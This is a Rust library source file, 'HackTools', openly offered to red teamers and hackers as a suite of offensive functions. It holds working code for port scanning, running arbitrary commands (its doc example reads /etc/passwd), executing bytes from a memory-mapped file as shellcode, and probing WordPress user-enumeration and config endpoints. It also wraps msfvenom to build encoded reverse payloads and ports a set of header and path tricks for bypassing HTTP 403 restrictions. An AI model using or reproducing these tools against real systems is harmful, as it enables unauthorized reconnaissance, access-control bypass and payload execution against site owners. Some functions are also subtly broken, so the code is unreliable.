hacktools/
lib.rs

1//! # HackTools
2//! 
3//! A suite of functions mostly made for "Red Teamers" and Hackers.
4//! 
5#![allow(dead_code)]
6#![allow(unused_imports)]
7#![allow(unused_must_use)]
8
9pub use self::tools::dirf;
10pub use self::tools::scan;
11pub use self::tools::get;
12pub use self::tools::shell;
13pub use self::tools::nmap_scan;
14pub use self::tools::press_scan;
15pub use self::tools::forbid;
16pub use self::tools::msf;
17pub mod tools {
18    use open;
19    use std::process::Command;
20    use std::io::{self, BufRead};
21    use reqwest::StatusCode;
22    use memmap::MmapMut;
23    use std::fs::OpenOptions;
24    use std::io::Write;
25    use std::mem;
26    use std::net::{IpAddr, TcpStream};
27    use std::time::Duration;
28    use colorized::*;
29/// # Example
30/// ```
31/// fn main () {
32///     scan("127.0.0.1", 80..81, duration::new(5,0));
33/// }
34/// ```
35    pub fn scan(ip: &str, port_range: std::ops::Range<u16>, timeout: Duration) {
36        match ip.parse::<IpAddr>() {
37            Ok(ip_addr) => {
38                for port in port_range {
39                    match TcpStream::connect_timeout(&(ip_addr, port).into(), timeout) {
40                        Ok(_) => {
41                            println!("{}", format!("Port {} is open",port).color(Colors::BrightGreenFg));
42                            
43                        }
44                        Err(_) => println!("{}", format!("Port {} is closed", port).color(Colors::BrightRedFg)),
45                    }
46                }
47            }
48            Err(e) => println!("Invalid IP address: {}", e),
49        }
50    }
51/// Grabs output from running a command
52/// # Example: 
53/// get("cat", &[["/etc/passwd"]])?;
54/// 
55/// The &[["1", "2", "3"]] can take multiple arguments.
56    pub fn get(command: &str, args: &[&str]) -> Result<(), io::Error> {
57        let output = Command::new(command)
58            .args(args)
59            .output()?;
60
61        if output.status.success() {
62            let stdout = String::from_utf8_lossy(&output.stdout);
63            println!("{}", stdout);
64        } else {
65            let stderr = String::from_utf8_lossy(&output.stderr);
66            eprintln!("Command failed: {}", stderr);
67        }
68
69        Ok(())
70    }
71    pub fn string_to_shellcode(input: &str) -> Vec<u8> {
72        let mut shellcode = Vec::new();
73
74        for c in input.chars() {
75            let encoded = format!("{:02x}", c as u32);
76            let bytes = encoded.as_bytes();
77            let byte = u8::from_str_radix(unsafe { std::str::from_utf8_unchecked(bytes) }, 16).unwrap();
78            shellcode.push(byte);
79        }
80
81        shellcode
82    }
83    pub fn execute_shellcode(shellcode: &[u8]) {
84        println!("Please put file path of memory:");
85        let mut choice = String::new();
86        io::stdin().read_line(&mut choice).expect("Failed to Read Line");
87        let choice = choice.trim_end();
88        let mut file = OpenOptions::new()
89            .read(true)
90            .write(true)
91            .open(choice)
92            .expect("Failed to open file");
93
94        file.write_all(shellcode).expect("Failed to write shellcode");
95
96        let mmap = unsafe {
97            MmapMut::map_mut(&file).expect("Failed to memory map")
98        };
99
100        let shellcode_fn: fn() = unsafe { mem::transmute(mmap.as_ptr()) };
101        shellcode_fn();
102    }
103/// # Example
104/// 
105/// This will scan a wordpress url for a hidden url or pages.
106/// ```
107/// use hacktools::press_scan;
108/// fn main() {
109/// press_scan("https://wordpress.com", 0);
110/// }
111/// ```
112/// In the parameters you need to make sure to start with either http: or https:
113/// the numbers 0-8 will try different common vulneralbilites for recon on the wordpress site given.
114/// 
115
116    pub fn press_scan(url: &str, num: usize) -> String {
117        let strings_by_num: Vec<&str> = vec![
118            "/wordpress/xmlrpc.php",
119            "/wp-content/uploads/",
120            "wp-json/wp/v2/users",
121            "/wp-json/wp/v2/users/1",
122            "/wp-json/?rest_route=/wp/v2/users/",
123            "/wp-json/?rest_route=/wp/v2/users/1",
124            "/?author=1",
125            "/wp-login.php",
126            "/wp-config.PhP"
127        ];
128
129        let index = num.min(strings_by_num.len() - 1);
130
131        let new_url = format!("{}{}", url, strings_by_num[index]);
132
133        println!("Modified URL: {}", new_url);
134
135        let urlz = new_url.clone(); // Cloned the URL for printing purposes
136        if open::that(&new_url).is_ok() {
137            println!("Opened in the default web browser.");
138        } else {
139            println!("Failed to open in the default web browser.");
140        }
141
142        urlz
143    }
144
145
146/// # Example
147/// ```
148/// fn main() {
149///   let input = "Hello, world!";
150///    shell(input, execute_shellcode);
151///}
152/// ```
153    pub fn shell(input: &str, execute: fn(&[u8])) {
154        let shellcode = string_to_shellcode(input);
155        println!("Generated Shellcode: {:?}", shellcode);
156        execute(&shellcode);
157    }
158/// # Example:
159/// 
160/// using Command uses the local nmap binary to run a single port scan
161/// nmap_scan("127.0.0.1", 80);
162    pub fn nmap_scan(ip: &str, port: u16) {
163        let output = Command::new("nmap")
164            .arg("-p")
165            .arg(port.to_string())
166            .arg(ip)
167            .output()
168            .expect("Failed to execute nmap command");
169
170        if output.status.success() {
171            let stdout = String::from_utf8_lossy(&output.stdout);
172            println!("{}", stdout);
173        } else {
174            let stderr = String::from_utf8_lossy(&output.stderr);
175            eprintln!("Command failed: {}", stderr);
176        }
177    }
178/// # Example
179/// 
180/// Simple way to use metasploit venom in rust for fast Exploits.
181/// Make sure to have metasploit installed on your system.
182/// ```
183/// use hacktools::msf;
184/// fn main() -> Result<(), io::Error> {
185///     msf("exploit", "ip", port, encoder, iteration number, "format", "Name of File");
186///     Ok(())
187/// }
188/// ```
189    pub fn msf(exploit: &str, ip: &str, port: u16, encode: &str, iteration: u16, form: &str, nof: &str) -> Result<(), io::Error> {
190        let output = Command::new("msfvenom")
191            .args(&["-p", exploit, &format!("LHOST={}", ip), &format!("LPORT={}", port), "-e", encode, &format!("-i {}", iteration), "-f", form, "-o", nof])
192            .output()?;
193
194        if output.status.success() {
195            let stdout = String::from_utf8_lossy(&output.stdout);
196            println!("{}", stdout);
197            Ok(())
198        } else {
199            let stderr = String::from_utf8_lossy(&output.stderr);
200            eprintln!("Command failed: {}", stderr);
201            Err(io::Error::new(io::ErrorKind::Other, "Command failed"))
202        }
203    }
204
205/// # Example
206/// 
207/// You can use mslist() to help you see what encoders and payloads to use with metasploit.
208/// Lists:
209/// encoders
210/// payloads
211/// formats
212/// nops
213/// platforms
214/// archs
215/// all
216/// ```
217/// use hacktools::msf;
218/// fn main() -> Result<(), io::Error> {
219///     msflist("encoders");
220///     Ok(())
221/// }
222/// ```
223    pub fn msflist(list: &str) -> Result<(),io::Error> {
224        let output = Command::new("msfvenom")
225        .args(&["--list", list])
226        .output()?;
227        if output.status.success() {
228            let stdout = String::from_utf8_lossy(&output.stdout);
229            println!("{}", stdout);
230            Ok(())
231        } else {
232            let stderr = String::from_utf8_lossy(&output.stderr);
233            eprintln!("Command failed: {}", stderr);
234            Err(io::Error::new(io::ErrorKind::Other, "Command failed"))
235        }
236    }
237
238
239/// A web directory finder like dirb
240/// # Example:
241///  ```
242/// use hacktools::dirf;
243/// fn main() {
244///     dirf("https://example.com", "wordlist.txt");
245/// }
246/// ```
247    pub async fn dirf(url: &str, wordlist_path: &str) -> Result<(), Box<dyn std::error::Error>> {
248        let file = std::fs::File::open(wordlist_path)?;
249        let reader = io::BufReader::new(file);
250
251        for line in reader.lines() {
252            let word = line.map_err(|e| {
253                io::Error::new(
254                    io::ErrorKind::Other,
255                    format!("Failed to read line from wordlist: {}", e),
256                )
257            })?;
258
259            let full_url = format!("{}{}", url, word);
260
261            let response = reqwest::get(&full_url).await?;
262
263            if response.status().is_success() {
264                println!("Found: {}", full_url);
265            }
266        }
267
268        Ok(())
269    }
270
271    
272/// # Example
273/// 
274/// This will let you check for alternate pathways for a forbidden path.
275/// 
276/// ```
277/// use hacktools::forbid;
278/// fn main() {
279///     forbid("http://example.com", "secret");
280/// }
281/// ```
282/// this is a port to rust from iamj0ker's very useful shell code.
283    pub fn forbid(url: &str, path: &str) {
284        let output1 = curl(url, path);
285        let output2 = curl(url, &format!("%2e/{}", path));
286        let output3 = curl(url, &format!("{}/{}.", path, path));
287        let output4 = curl(url, &format!("{}/{}/", path, path));
288        let output5 = curl(url, &format!("{}/{{}}/{}/", path, path));
289        let output6 = curl_with_header("X-Original-URL", path, url);
290        let output7 = curl_with_header("X-Custom-IP-Authorization", "127.0.0.1", url);
291        let output8 = curl_with_header("X-Forwarded-For", "http://127.0.0.1", url);
292        let output9 = curl_with_header("X-Forwarded-For", "127.0.0.1:80", url);
293        let output10 = curl_with_header("X-rewrite-url", path, url);
294        let output11 = curl(url, &format!("{}%20", path));
295        let output12 = curl(url, &format!("{}%09", path));
296        let output13 = curl(url, &format!("{}?", path));
297        let output14 = curl(url, &format!("{}.html", path));
298        let output15 = curl(url, &format!("{}?anything", path));
299        let output16 = curl(url, &format!("{}#", path));
300        let output17 = curl_with_header_and_method("Content-Length:0", "POST", url, path);
301        let output18 = curl(url, &format!("{}/*", path));
302        let output19 = curl(url, &format!("{}.php", path));
303        let output20 = curl(url, &format!("{}.json", path));
304        let output21 = curl_with_method("TRACE", url, path);
305        let output22 = curl_with_header("X-Host", "127.0.0.1", url);
306        let output23 = curl(url, &format!("{}..;/", path));
307        let output24 = curl(url, &format!("{}/;", path));
308        let output25 = curl_with_method("TRACE", url, path);
309
310        println!("{} --> {}/{}", output1, url, path);
311        println!("{} --> {}/%2e/{}", output2, url, path);
312        println!("{} --> {}/{}/.", output3, url, path);
313        println!("{} --> {}/{}/", output4, url, path);
314        println!("{} --> {}/{{}}/{}/", output5, url, path); // Add an extra curly brace
315        println!("{} -H X-Original-URL: {{}} --> {}/{}", output6, path, url);  // Add an extra curly brace
316        println!("{} -H X-Custom-IP-Authorization: 127.0.0.1 --> {}/{}", output7, url, path);
317        println!("{} -H X-Forwarded-For: http://127.0.0.1 --> {}/{}", output8, url, path);
318        println!("{} -H X-Forwarded-For: 127.0.0.1:80 --> {}/{}", output9, url, path);
319        println!("{} -H X-rewrite-url: {} --> {}", output10, path, url);
320        println!("{} --> {}/{}%20", output11, url, path);
321        println!("{} --> {}/{}%09", output12, url, path);
322        println!("{} --> {}/{}?", output13, url, path);
323        println!("{} --> {}/{}.html", output14, url, path);
324        println!("{} --> {}/{}?anything", output15, url, path);
325        println!("{} --> {}/{}#", output16, url, path);
326        println!("{} -H Content-Length:0 -X POST --> {}/{}", output17, url, path);
327        println!("{} --> {}/{}/*", output18, url, path);
328        println!("{} --> {}/{}.php", output19, url, path);
329        println!("{} --> {}/{}.json", output20, url, path);
330        println!("{} -X TRACE --> {}/{}", output21, url, path);
331        println!("{} -H X-Host: 127.0.0.1 --> {}/{}", output22, url, path);
332        println!("{} --> {}/{}..;/", output23, url, path);
333        println!("{} --> {}/{};/", output24, url, path);
334        println!("{} -X TRACE --> {}/{}", output25, url, path);
335    }
336
337    fn curl(url: &str, path: &str) -> String {
338        let output = Command::new("curl")
339            .arg("-k")
340            .arg("-s")
341            .arg("-o")
342            .arg("/dev/null")
343            .arg("-iL")
344            .arg("-w")
345            .arg("%{http_code},%{size_download}") // Update the output format
346            .arg(&format!("{}/{}", url, path))
347            .output()
348            .expect("Failed to execute command.");
349
350        String::from_utf8_lossy(&output.stdout).trim().to_string()
351    }
352
353    fn curl_with_header(header: &str, value: &str, url: &str) -> String {
354        let output = Command::new("curl")
355            .arg("-k")
356            .arg("-s")
357            .arg("-o")
358            .arg("/dev/null")
359            .arg("-iL")
360            .arg("-w")
361            .arg("%{http_code},%{size_download}")
362            .arg("-H")
363            .arg(&format!("{}: {}", header, value))
364            .arg(&format!("{}/{}", url, value)) // Replace "path" with "value"
365            .output()
366            .expect("Failed to execute command.");
367
368        let output_str = String::from_utf8_lossy(&output.stdout).trim().to_string();
369        let parts: Vec<&str> = output_str.split(',').collect();
370        let http_code = parts[0];
371        let size_download = parts[1];
372
373        format!("{} (HTTP Code) --> {}/{}\n{} (Size Download) --> {}/{} -H {}:{} --> {}/{}",
374            http_code, url, value, size_download, url, value, header, value, url, value)
375    }
376
377
378    fn curl_with_header_and_method(header: &str, method: &str, url: &str, path: &str) -> String {
379        let output = Command::new("curl")
380            .arg("-k")
381            .arg("-s")
382            .arg("-o")
383            .arg("/dev/null")
384            .arg("-iL")
385            .arg("-w")
386            .arg("%{http_code},%{size_download}")
387            .arg("-H")
388            .arg(header)
389            .arg("-X")
390            .arg(method)
391            .arg(&format!("{}/{}", url, path))
392            .output()
393            .expect("Failed to execute command.");
394
395        let output_str = String::from_utf8_lossy(&output.stdout).trim().to_string();
396        let parts: Vec<&str> = output_str.split(',').collect();
397        let http_code = parts[0];
398        let size_download = parts[1];
399
400        format!("{} (HTTP Code) --> {}/{}\n{} (Size Download) --> {}/{} -H {} -X {} --> {}/{}",
401            http_code, url, path, size_download, url, path, header, method, url, path)
402    }
403
404    fn curl_with_method(method: &str, url: &str, path: &str) -> String {
405        let output = Command::new("curl")
406            .arg("-k")
407            .arg("-s")
408            .arg("-o")
409            .arg("/dev/null")
410            .arg("-iL")
411            .arg("-w")
412            .arg("%{http_code},%{size_download}")
413            .arg("-X")
414            .arg(method)
415            .arg(&format!("{}/{}", url, path))
416            .output()
417            .expect("Failed to execute command.");
418
419        let output_str = String::from_utf8_lossy(&output.stdout).trim().to_string();
420        let parts: Vec<&str> = output_str.split(',').collect();
421        let http_code = parts[0];
422        let size_download = parts[1];
423
424        format!(
425            "{} (HTTP Code) --> {}/{}\n{} (Size Download) --> {}/{} -X {} --> {}/{}",
426            http_code, url, path, size_download, url, path, method, url, path
427        )
428    }
429
430}